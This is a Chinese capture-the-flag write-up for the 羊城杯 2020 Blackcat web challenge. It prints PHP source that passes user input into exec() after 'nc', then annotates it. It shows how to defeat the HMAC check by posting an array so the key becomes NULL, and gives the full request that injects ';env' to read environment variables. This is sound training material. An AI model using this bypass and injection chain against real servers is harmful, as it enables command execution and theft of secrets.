[羊城杯 2020]Blackcat1
知识点:数组加密绕过
进入页面熟悉的web三部曲(url地址,web源代码,web目录扫描)
url地址没有什么东西去看看源代码.
这有一个mp3文件点一下看看.
在最后面发现了 PHP源码.
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('谁!竟敢踩我一只耳的尾巴!');
}
$clandestine = getenv("clandestine");
if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}
echo exec("nc".$_POST['One-ear']);
开始代码审计.
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('谁!竟敢踩我一只耳的尾巴!');
}
// 检查POST请求中是否包含'Black-Cat-Sheriff'和'One-ear'字段,且它们不为空。
// 这是一个基本的输入验证,但不足以防止所有类型的攻击。
$clandestine = getenv("clandestine");
// 从环境变量中获取名为'clandestine'的值,这通常用于存储敏感信息,如密钥。
// 但从环境变量中直接读取密钥可能不安全,因为它可能暴露给不应访问它的进程。
if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
// 如果POST请求中包含'White-cat-monitor',则使用其值对'clandestine'进行HMAC SHA256哈希处理。
// 这可能导致'clandestine'的值被意外修改,这可能不是预期的行为。
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
// 使用'clandestine'作为密钥,对'One-ear'的值进行HMAC SHA256哈希处理。
// 这可能用于验证'One-ear'的值,但依赖于之前'clandestine'的值是否已被修改。
if($hh !== $_POST['Black-Cat-Sheriff']){
die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}
// 验证'Black-Cat-Sheriff'的值是否与预期的哈希值匹配。
// 如果不匹配,则输出一条消息并终止脚本。
echo exec("nc".$_POST['One-ear']); // 危险!
// 这里存在严重的安全问题!
// 使用exec函数执行以'nc'(Netcat)开头的命令,并将'One-ear'的值附加到命令中。
// 这允许攻击者通过控制'One-ear'的值来执行任意命令,这是典型的命令注入漏洞。
// 攻击者可以利用这个漏洞来完全控制服务器。
意思是我们要保证Black-Cat-Sheriff 和 One-ear 两个参数的POST值存在的同时Black-Cat-Sheriff的值要等于One-ear经过sha256加密后的值($hh),最后通过exec这个危险函数来获取flag.
知识点:当数组进行sha256加密时,返回总为NULL.
示例:
<?php
var_dump(hash_hmac('sha256', array(0), 'Unknown_key'));
?>
结果为:NULL
如果我们想要保证hh的value等于Black-Cat-Sheriff的value,那么我们就需要控制这两个参数的value,因为$clandestine=getenv("clandestine");,我们无法知道它(第一次加密)的环境变量的value,但由于我们知道当数组进行sha256加密时,返回总为NULL,我们就可以控制$clandestine(第二次加密)这个key的value=NULL从而控制hh的value.
话不多说开始注入.
利用下面这exp求出Black-Cat-Sheriff的value
<?php
var_dump(hash_hmac('sha256', ";env", NULL));
?>
result:afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b
White-cat-monitor[]=1&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env
至于为什么 用的是;env,而不是什么cat flag,是因为flag文件里的flag值时假的,他的flag值在环境变量里,同时 ; 是为了不被前面的nc影响.
得到flag游戏结束~